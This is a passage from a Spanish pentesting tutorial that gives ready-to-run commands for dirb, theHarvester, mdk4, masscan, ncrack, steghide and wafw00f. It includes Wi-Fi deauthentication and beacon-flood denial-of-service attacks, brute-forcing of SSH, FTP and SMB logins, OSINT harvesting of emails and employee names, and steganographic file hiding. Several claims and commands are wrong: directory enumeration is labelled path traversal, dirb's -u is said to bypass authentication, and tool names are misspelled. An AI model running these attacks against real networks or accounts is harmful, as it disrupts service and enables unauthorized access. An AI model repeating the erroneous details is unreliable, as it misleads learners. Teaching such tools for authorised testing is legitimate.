Así como la anterior herramienta, Dirb también cuenta
con su lista de palabras preconfigurado para un uso
fácil, aunque también es posible utilizar nuestros
propios diccionarios personalizados.
Para empezar con un escaneo básico, ejecuten el
siguiente comando:
dirb "https://www.sitio_web.com/"
Utilizar un diccionario propio:
dirb "https://www.sitio_web.com/" "/ruta/del/diccionario.txt"
Guardar los resultados en un fichero:
dirb "https://www.sitio_web.com/" -o "fichero.txt"
Omitir cualquier error que se encuentre dentro del
escaneo:
dirb "https://www.sitio_web.com/" -N 404
Tipos de error: 302,
301, 404, 500, 503
Acelerar el escaneo para obtener el escaneo más profundo
y detallado:
dirb "https://www.sitio_web.com/" -z 100
Milisegundos
Enumerar archivos por extensiones:
dirb "https://www.sitio_web.com/" -X .php
Ejemplos: .html, .css, .js
Omitir posibles mensajes de advertencia:
dirb "https://www.sitio_web.com/" -w
El escaneo dirb, por defecto, escaneo los directorios
recursivamente. Significa que escanea un directorio y
luego atraviesa dentro de ese directorio para buscar más
subdirectorios. En algunos escenarios, el tiempo es
limitado y solo necesitamos los directorios principales.
El parámetro "-r" configura a dirb para que no escanee
recursivamente.
dirb "https://www.sitio_web.com/" -r
El error 404 es un código de estado HTTP que se presenta
cuando a la página que intentamos acceder no existe en
el servidor web. Los sitios web suelen personalizar los
mensajes de error 404. En algunos escenarios, también es
preciso encontrar esas páginas que omite dirb de forma
predeterminada, para ello usaremos el parámetro "-v" :
dirb "https://www.sitio_web.com/" -v
Los mecanismos de autenticación HTTP se basan en el uso
del código estado 401 y el encabezado de respuesta de
autenticación WWW. El cliente envía el nombre de usuario
y contraseña como texto codificado en base64 sin cifrar
y para eludir este tipo de autenticación con dirb,
usamos el siguiente comando:
dirb "https://www.sitio_web.com/" -u admin:password
Usuario
Contraseña
Todo lo visto anterior se le reconoce como "ataque de
recorrido de ruta" y tiene como objetivo acceder a
directorios y archivos que se almacenan fuera de la
carpeta raíz web. Mediante la manipulación de variables
de frecuencia "punto-punto-slash" es posible acceder a la
configuración de los archivos, al código fuente de la
aplicación y otros archivos críticos del sistema.
THE HARVESTER
The Harvester es una suite OSINT diseñada para usarse en
las primeras etapas del pentesting, la recolección de
información por medio de fuentes públicas en la web. Su
objetivo es recopilar correos electrónicos, hosts,
dominios y subdominios, nombres de empleados, puertos
abiertos, entre otras. Es útil si se quiere seguir la
huella de uno o varios individuos en internet, así como
comprender hasta que extremo un atacante puede recopilar
información.
Instalar herramienta en Debian:
sudo apt install theharvester
Comando de ayuda:
theHarvester --help
Es importante que la "H" comience con mayúscula,
de lo contrario, mostrará error.
Buscar correos electrónicos de un dominio:
theHarvester -d dominio.com -l 100 -b google
-d => Nombre del dominio
-b => Motor de búsqueda
-l => Limitar el número de búsqueda
Extraer toda la información de un sitio web:
theHarvester -d "dominio.com" -l 500 -b all
Guardar el resultado en formato XML:
theHarvester -d "dominio.com" -l 500 -b all -f test.xml
Shodan es un motor de búsqueda avanzado que permite
encontrar todo tipo dispositivo conectado a internet;
como routers, cámaras de seguridad, dispositivos IoT. El
objetivo de shodan es comprobar la seguridad de los
puertos desde el exterior.
theHarvester -d "dominio.com" -l 200 -b all --shodan
En la web oficial de shodan deben de pegar la dirección
IP y está se encargará de ubicar el dispositivo y
resaltar la información (puertos abiertos, dominios,
ubicación, etc):
https://www.shodan.io
Personalmente he programado un script en python3 con la
API de shodan para automatizar los resultados y ser
mostrados por la terminal. El repositorio se llama
"PyShodan" y se clona de la siguiente manera:
git clone https://github.com/R3LI4NT/PyShodan
Ingresamos al directorio y ejecutamos los siguientes
comandos:
cd PyShodan
sudo apt install python3-pip
pip3 install shodan
Instalar el gestor de paquetes
de Python versión 3 (PIP3).
Instalar paquete shodan
Ejecutamos PyShodan y le indicamos el modo manual para
ingresar la IP:
python3 pyshodan.py
Los resultados son los mismos
que los de la página oficial,
con los datos brindados es
posible realizar un escaneo
profundo a los puertos y buscar
servicios vulnerables en la
base de exploits.
MDK4
MDK4 es la nueva versión y mejorada de MDK3, introduce
soporte a la banda de redes 5Ghz, reproducción de
paquetes 802.11, y se incluyo más tipos de paquetes para
el rastreo de tramas de datos, bloqueo de
ESSID/BSSID/Client-MAC, así como la posibilidad de
trabajar con dos tarjetas inalámbricas; una para recibir
datos y la otra para enviar datos. Dicho lo anterior,
MKD4 se puede clasificar como otra de las herramientas
de pentesting perteneciente al grupo de redes
inalámbricas.
Instalar herramienta en Debian:
sudo apt install mdk4
Menú de ayuda:
mdk4 --fullhelp
mdk4 --help
Mostrar todas las opciones de
ataques
Información sobre el ataque
mdk4 --help a
ATTACK MODE a: Authentication Denial-Of-Service
Deauthentication / DoS Attack: un ataque de
desautenticación o denegación de servicio es un tipo de
ataque que apunta a la comunicación entre el cliente y
el punto de acceso inalámbrico. El atacante envía una
cierta cantidad de paquetes a la red objetivo, está se
satura y queda inaccesible para los clientes. Su
principal ventaja es que el atacante no necesita estar
conectado a la red Wi-Fi para efectuar el ataque, tan
solo debe conocer la dirección MAC o el nombre del punto
de acceso.
MDK4 al igual que la suite de aircrack-ng, contiene
parámetros especiales para realizar éste ataque y es de
la siguiente manera:
mdk4 "INTERFAZ" d -S XX:XX:XX:XX:XX:XX -c 7 -s 10
Modo de ataque: Deauthentication
Dirección MAC de la estación
/ punto de acceso WiFi.
Paquetes por segundo, en
caso de no especificar,
será ilimitado.
Cambio de canal por segundos, en caso de
especificar con “-c h”, mdk4 saltará con
todo lo máximo posible.
En caso de no saber la dirección MAC del objetivo, podemos
realizar el mismo procedimiento pero especificando el nombre de
la red (ESSID:
mdk4 "INTERFAZ" d -E "WIFI" -c 2
Expulsar un cliente de la red:
mdk4 "INTERFAZ" d -B XX:XX:XX:XX:XX:XX -c h
Dirección MAC del dispositivo víctima
Beacon Flooding / Fake AP Attack: la inundación de
puntos de acceso es un tipo de ataque que consiste en
crear aleatoriamente redes inalámbricas falsas para
confundir al usuario en una gran lista de redes.
mdk4 "INTERFAZ" b -c 1 -w a
Tipo de encriptación:
Modo de ataque: Beacon Flooding
Canal donde opera la red
a => WPA2
t => WPA
w => WEP
n => Sin encriptación
De forma predeterminada, la herramienta genera un
diccionario con nombres aleatorios, así como también
podemos crear un archivo con nombres de redes a mostrar:
mdk4 "INTERFAZ" b -c 1 -f "archivo.txt"
Ruta del archivo
Authentication / Fake Clients Attack: es la inversa
del ataque de deauthentication, su función es inundar la
red con clientes falsos. Este tipo de ataque también
puede ser calificado como DoS, ya que ralentiza la
conexión y provoca que los clientes se desconecten. Es
útil para capturar el handshake en caso de que ningún
cliente este conectado a la red.
mdk4 "INTERFAZ" a -a XX:XX:XX:XX:XX:XX -m
Modo de ataque: Authentication
MAC válida para el
cliente generado
Dirección MAC del punto de acceso
SSID Probing and Bruteforcing Attack: el sondeo de
puntos de acceso (AP) permite verificar si la red (SSID)
se encuentra activa y dentro del rango mediante envíos
de paquetes. También esta disponible la fuerza bruta de
SSID ocultos, con o sin una lista de palabras.
Verificar red activa:
mdk4 "INTERFAZ" p -e "WIFI"
Modo de ataque: SSID Probing
SSID (nombre) del punto de acceso
Para realizar el ataque de fuerza bruta, en un fichero
deben de escribir los posibles nombres de redes a
descubrir y luego utilizar el parámetro "-f" para indicar
la ruta del diccionario/lista de palabras.
mdk4 "INTERFAZ" p -f "diccionario.txt"
Ruta del diccionario
Michael Countermeasures Exploitation Attack: el
ataque de Michael se concentra en enviar paquetes
aleatorios o reinyectados en la cola de tráfico para
provocar bajo rendimiento en el punto de acceso y
hacer que éste se apague durante un minuto completo,
lo que lo convierte en un DoS. En la actualidad este
ataque no es muy efectivo, pues, la mayoría de los
routers ya vienen implementados con un firewall para
bloquear peticiones malintencionadas o tráfico
sospechoso.
mdk4 "INTERFAZ" m -t XX:XX:XX:XX:XX:XX -w 1 -n 1000
Modo de ataque: Michael
Countermeasures
Ráfaga de paquetes por segundos
Dirección MAC (BSSID) del AP
Número de paquetes a enviar
MASSCAN
Masscan es un escáner de puertos de internet y redes
internas. Su velocidad es tan alta que puede escanear
todo internet en menos de 5 minutos, transmitiendo 10
millones de paquetes por segundo, desde una sola
máquina. Las herramientas de escáneres de puertos se
encuentran entre las más importantes en el conjunto de
herramientas de un investigador de seguridad, se puede
utilizar tanto para investigaciones ofensivas como
defensivas. Ofrece la forma más rápida de detectar
aplicaciones y servicios en ejecución de puertos
remotos.
Como primera prueba le diré a Masscan que escaneé la
dirección IP en busca de todos los puertos abiertos
(65535):
masscan "IP" --ports 0-65535
En cuyo caso quieran escanear uno o varios puertos
específicos, se deben separar por comas:
masscan "IP" --p 21,80,443
Otra característica interesante que tiene Masccan es que
puede escanear los puertos más populares:
masscan "IP" --top-ports X
Reemplazan la "X" por una
cantidad de puertos populares,
por ejemplo, 10 o 100
El parámetro "--rate" especifica la velocidad para
transmitir paquetes. Por defecto este valor es de 100
paquetes por segundo, es posible incrementar este valor:
masscan "IP" --top-ports 100 --rate 10000
10.000 paquetes por segundo
Guardar resultado del escaneo en un fichero:
masscan "IP" --top-ports 100 > "fichero.txt"
En determinadas situaciones es necesario reducir la
cantidad de hosts a escanear, es por ello que se crea
una lista negra con una dirección/rango que se omitirá.
masscan "IP" -p 21,22,80 --excludefile "blacklist.txt"
Imprimir ayuda sobre alternativas de compatibilidad de
parámetros con nmap:
masscan --nmap
Capturar los banners; versiones de servidor HTTP, campos
de títulos HTML, contenido, entre otras:
masscan "IP" -p 80 --banners
Puerto 80 = protocolo HTTP
Crear un archivo de configuración para ser leído y
escaneado:
masscan --conf "archivo.txt"
Imprimir los paquetes que se han enviado y recibido:
masscan "IP" --ports 0-65535 --packet-trace
Cuando se presiona la combinación de teclas CTRL + C
durante un escaneo sin terminar, éste se detendrá y el
estado actual del escaneo se guardara en el fichero de
"paused.conf". El escaneo se puede reanudar con la opción
de "--resume".
masscan --resume paused.conf
El parámetro "--adapter-ip" se utiliza para enviar los
paquetes desde una determinada IP. Si no se especifica,
se utilizará la primera dirección IP vinculada a la
interfaz de red.
masscan "IP" -p 21,22,25,80 --adapter-ip "IP"
NCRACK
Ncrack es una herramienta de cracking contra servicios
activos cliente/servidor: TCP, SSH, FTP, HTTP(S),
TELNET, SMB, MySQL, WordPress, VNC, entre otros. Fue
construido con el objetivo de ayudar a las compañías a
proteger sus redes probando proactivamente todos sus
hosts y dispositivos de red para las contraseñas
débiles. Ncrack utiliza una sintaxis de líneas de
comandos interactiva y fácil de comprender.
Manual de Ncrack:
Cracking SSH
man ncrack
Este programa requiere de una lista de
palabras/diccionario para ponerlo en marcha, la misma
debe incluir las posibles contraseñas débiles más usadas
a crackear. En internet existen cientos de fuentes
públicas donde se recopilan las contraseñas más
digitadas por administradores y usuarios, otra
alternativa son los repositorios de Github. El entorno
que voy a utilizar de ejemplo es nuevamente
Metasploitable.
USUARIOS
CONTRASEÑAS
Luego de construir nuestro diccionario, pasamos a la
sintaxis del comando:
ncrack "IP:22" -U "usuarios.txt" -P "contraseñas.txt"
Diccionario de usuarios
Diccionario de contraseñas
22: puerto del protocolo
SSH
Conectarse al SSH desde la terminal
ssh " usuario@IP/Hosts"
Si supiéramos el usuario y que la contraseña esta
alojada en el diccionario, entonces ya no es necesario
utilizar dos diccionarios:
ncrack "IP" -u "usuario" -P "contraseñas.txt"
Nombre del usuario
Con el parámetro "-oN" guardamos las credenciales
encontradas en un fichero:
ncrack "IP" -u "usuario" -P "contraseñas.txt" -oN "credenciales.txt"
Cracking FTP
El protocolo de transferencia de archivos (FTP) es
justamente, un protocolo de red que permite que los
sistemas se comuniquen entre sí. Las cuentas FTP
gestionan el contenido de un servidor: enviar archivos,
descargarlos, borrar ficheros, crear directorios, entre
otras funciones.
A diferencia del SSH, el FTP no incorpora un mecanismo
de cifrado de datos, volviéndolo menos seguro. Mientras
que el SSH tiene más funcionalidades; ofrece una
comunicación segura y no depende de la distancia, eso
sí, es más lento que el primero y también puede ser
vulnerado por un atacante.
ncrack "IP:21" -U "usuarios.txt" -P "contraseñas.txt"
21: puerto del protocolo
FTP.
Conectarse al FTP desde
la terminal:
ftp "IP"
Cracking SMB
SMB (Server Message Block) es un protocolo cliente /
servidor que administra el acceso a archivos y
directorios, impresoras, interfaces abiertas de red y
otros recursos utilizado por el sistema operativo de
Microsoft Windows. Esto permite que otros dispositivos
del mismo sistema operativo se comuniquen fácilmente
entre sí. Es más, gracias a la comunidad de software
libre, el proyecto Samba se extendió su uso en
distribuciones de Linux y Unix, permitiendo una
comunicación multiplataforma.
Como cualquier otro protocolo de intercambio de archivos
de red, el protocolo SMB necesita de puertos para
comunicarse con otros sistemas. Anteriormente utilizaba
el puerto 139, pero en Windows usa el 445 y el protocolo
de red TCP para comunicarse con otros dispositivos a
través de internet.
ncrack "IP:445" -U "usuarios.txt" -P "contraseñas.txt"
445: puerto del protocolo
SMB.
La utilidad de smbclient permite conectarse y acceder a
los recursos compartidos de un servidor SMB, similar a
FTP:
sambaclient -L "IP" -p 445 --option='client min protocol=NT1'
Host
Puerto
Permite que Samba funcione con otros
recursos compartidos SMBv1
Comandos smbclient: https://www.computerhope.com/unix/smbclien.htm
Explorar todos los módulos soportados por Ncrack:
ncrack -V
En los ejemplos anteriores he introducido la dirección
IP del host junto con el puerto del protocolo, esto
también es posible utilizando el parámetro "-p" + el
número del puerto:
ncrack "IP" -p "N-PUERTO"
En caso de querer sustituir el puerto por el servicio:
ncrack "servicio://IP"
Ej:
ncrack "ftp://192.168.25.131" -U "usuarios.txt" -P "contraseñas.txt"
Si no está proporcionando ningún diccionario, entonces
Ncrack usará su diccionario predeterminado para vincular
la contraseña para el inicio se sesión anónimo:
ncrack -v --pairwise "IP"
Modo verbose
Diccionario predeterminado
Si su ataque se interrumpe por pérdida de conexión o se
detuvo con la combinación de teclas, puede retomarlo
desde donde estaba.
ncrack --resume /root/.ncrack/restore.2022-05-07_22-43
En los ataques anteriores, sigue descifrando el servicio
hasta encontrar todos los inicios de sesión posibles,
pero si lo desea, el ataque podría dejar de descifrar
luego de encontrar una credencial, esto es posible
agregando el parámetro "-f":
ncrack "IP:PUERTO" -f
Mantener organizada la información es fundamental para una
prueba de penetración, más si se tiene que penetrar
múltiples máquinas. Es por eso que Ncrack ha agregado la
opción de "-sL" que genera el resultado en formato de lista:
ncrack "IP:PUERTO" -sL
STEGHIDE
El término de esteganografía se utiliza para referirse
al proceso de ocultar información dentro de otra pieza
de información. Un fragmento de texto, imagen o pista de
audio puede ser oculta dentro de otro archivo
multimedia, de forma que no se detecte su presencia y
consigan pasar de desapercibidos. Uno de los ejemplos
mas comunes es en el malware, éste usa esteganografía en
los contenidos digitales para su propagación, o ya sea
para ocultar el código malicioso.
Existen infinidades de herramientas para distintos
sistemas operativos, para el caso de Windows esta la
herramienta de DeepSound que se utiliza en la serie de
Mr. Robot. En linux encontramos a Steghide, una
herramienta que admite ocultar datos de cualquier
formato de imagen (png, jpg, gif, jpge) y audio (wav)
con una frase de contraseña. Utiliza la encriptación
Rijndael (AES) para cifrar el registro, la propia NSA
usa este tipo de algoritmo para ocultar documentos de
clasificación "super secreto". La medida clave es de 128
bits, siendo uno de lo más seguros utilizados por
algoritmos y tecnologías de cifrado modernos.
Instalar herramienta en Debian:
sudo apt install steghide
Para iniciar Steghide, la opción más básica es mostrar
el comando de ayuda:
steghide --help
La siguiente prueba será ocultar un fichero de texto con
nuestros datos confidenciales, por otro lado, elegimos
una imagen donde incrustaremos los datos. Para lograr
esto, ejecutaremos el siguiente comando:
steghide embed -ef "fichero.txt" -cf "imagen.jpg"
Embedded file: archivo incrustado
Cover file: archivo de cubierta/portada
Aquí les pedirá la contraseña para
extraer el fichero
También podemos especificar la contraseña en el mismo
comando y no por separado:
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -p "contraseña"
El siguiente parámetro permite extraer los datos de una
imagen, en caso de tener un algoritmo de cifrado,
devolverá el tipo de encriptación y nombre del archivo
incrustado:
steghide info "imagen.jpg"
Ahora, para extraer los datos ocultos, use el siguiente
comando:
steghide extract -sf "imagen.jpg"
MODO VERBOSE: permite obtener toda la información de un
archivo durante su extracción:
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -v
MODO DE COMPRESIÓN: permite comprimir el archivo antes
de ocultarlo. El nivel de comprensión varía entre 1 y 9,
el primer nivel indica mayor velocidad de compresión
mientras que, en el noveno nivel, proporciona mejores
técnicas de compresión. Esto se utiliza para ahorrar
espacio en la memoria, pero un pequeño error puede dejar
inutilizable el archivo.
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -z 4
Nivel
MODO ANTI-COMPRESIÓN: lo opuesto al ejemplo anterior, el
parámetro "-Z" en mayúscula es para indicar que no
deseamos que comprima el archivo luego de ocultarlo:
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -Z
ARCHIVO SIN NOMBRE: el parámetro "-N" se utiliza para un
archivo sin necesidad de nombrarlo.
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -N
Lo siguiente será elegir un nombre para grabar los datos
extraídos:
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -xf "fichero.txt"
Archivo de salida
ALGORITMOS DE CIFRADO: el parámetro "-e" se utiliza para
especificar el tipo algoritmo de cifrado que usaremos
para ocultar los datos:
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -e "algoritmo"
NOMBRE DE ALGORITMO
DES
GOST 28147-89
AES
RC2
ORIGEN
Estadounidense
Ruso
Belga / adoptado como
Estadounidense
Estadounidense
SOBRESCRIBIR ARCHIVO: suponiendo que ya tengamos un
archivo extraído con el mismo nombre y en el mismo
directorio. Con el parámetro "-f" sobrescribe el archivo
existente:
steghide embed -ef "fichero.txt" -cf "imagen.jpg" -f
Ahora, en vez de ocultar los datos en una imagen, lo
haremos en un audio de formato WAV ya que por el momento
no soporta MP4:
steghide embed -ef "fichero.txt" -cf "audio.wav"
Por último, extraemos los datos:
steghide extract -sf “audio.wav"
Tanto la imagen como el audio pueden ser ejecutados sin
generar sospecha alguna.
WAFW00F
WAFw00f es una herramienta sumamente necesaria a la hora
de probar diferentes vectores de ataques hacia
aplicaciones web. Un WAF (Web Application Firewall) es
un tipo de cortafuego que protege de múltiples ataques
al servidor donde se aloja aplicaciones web. La
principal función del WAF es monitorear el tráfico de
paquetes que viajan por el protocolo de HTTP / HTTP. Un
claro ejemplo son los ataques de DoS y DDoS, consiste en
inundar el servidor web o recurso de red con una
cantidad masiva de tráfico malintencionado (Bots), llega
un determinado momento en que el servidor se recarga de
peticiones y colapsa, siendo inutilizable para los
usuarios legítimos. El WAF tiene el papel fundamental de
bloquear toda petición entrante que parezca "sospechosa“.
A su vez, protege contra inyecciones SQL, Cross Site
Scripting (XSS), Cookie Poisoning y Buffer Overflow.
Otro aspecto fundamental del WAF es conocido como SSL
Offloading, que se apoya en dar al WAF la
responsabilidad de entablar las conexiones cifradas y
manejar los certificados, permitiendo utilizarlo como un
proxy de entrada; control de identidad antes de
brindarle acceso al servidor de aplicaciones web. Un WAF
puede ser implementado desde la nube y administrado a
través de un servicio, esto en cuyo caso de que los
recursos informáticos sean limitados o para no poner en
riesgo la seguridad interna. Otro modo avanzado de
implementación se basa en un dispositivo virtual o de
hardware, aumentando fuertemente el rendimiento y la
seguridad.
Actúa de INTERMEDIARIO
Como cualquier herramienta vista anteriormente, también
trae consigo un manual de ayuda:
man wafw0ff
Aquí podemos ver los usos básicos de la herramienta,
entonces usaremos el posterior comando para identificar
la existencia de un WAF:
wafw0ff -v "URL"
Como se observa en la captura,
detectó que el sitio web utiliza
Cloudflare como alternativa de WAF,
e incluso solo bastó 2 petición para
descubrirlo, omitiendo la cantidad
de ruido posible. Cloudflare es de
la empresas más reconocidas en todo
Internet, mayormente los sitios
contratan este servicio para mitigar
ataques de Denegación de Servicio
Distribuido (DDos).
Si quisiéramos auditar más de un sitio web a la vez
tendríamos que crear un fichero e introducir las URL's
correspondientes, posteriormente utilizamos el parámetro "-
i":
wafw0ff -i "fichero.txt"
Así como nuevos ataques van apareciendo, por otro lado
las Empresas que ofrecen servicios de protección de
datos deben de implementar nuevos mecanismos para
detectar estos ataques y mitigarlos. Es por eso que se
actualizan constantemente con nuevas versiones, en caso
de que los clientes no actualicen a la última versión
del WAF, se verán comprometidos.
wafw0ff -V "URL"
Imprimir la versión actual del WAF
Guardar resultados de la auditoría en un fichero:
wafw0ff "URL" -o "fichero-salida.txt"
Si sospechamos que el sitio está protegido con un
cortafuegos que ya conocemos, entonces podemos
especificar su nombre con el parámetro "-t/--test" :
wafw0ff "URL" -t "nombre-del-WAF"
Los headers (encabezados) es la parte central de los
HTTP requests y response, emiten toda la información
acerca del navegador del cliente, del servidor y
contenido en general. Wafw00f tiene un parámetro de
headers (-h/--headers) para adjuntar el fichero con los
encabezados correspondientes.
ALGUNOS EJEMPLOS DE HEADERS
wafw0ff "URL" -h "fichero-headers.txt" -vvv
Modo verbose triple: detalla toda la información que transcurre
por detrás de la petición
El parámetro "-a" permite que la herramienta no se
detenga y siga buscando otros WAFs:
wafw0ff -a "URL"
El parámetro "-r“ se utiliza cuando el sitio tiene varios
portales, es decir, otras páginas o secciones alojadas
en el servidor. Con el siguiente comando le decimos que
no redireccione a otros sitios:
wafw0ff -r "URL"
ADVERTENCIA
El autor no se hace responsable por el mal uso
que se le pueda dar a esta información, todo esta
hecho con fines educativos. El acceder a sistemas
ajenos, información sensible, hackeo a cuentas
personales, ciberamenazas, entre otras técnicas
sin autorización puede llegar a ocasionar cargos
penales.
Última edición: 20/5/2022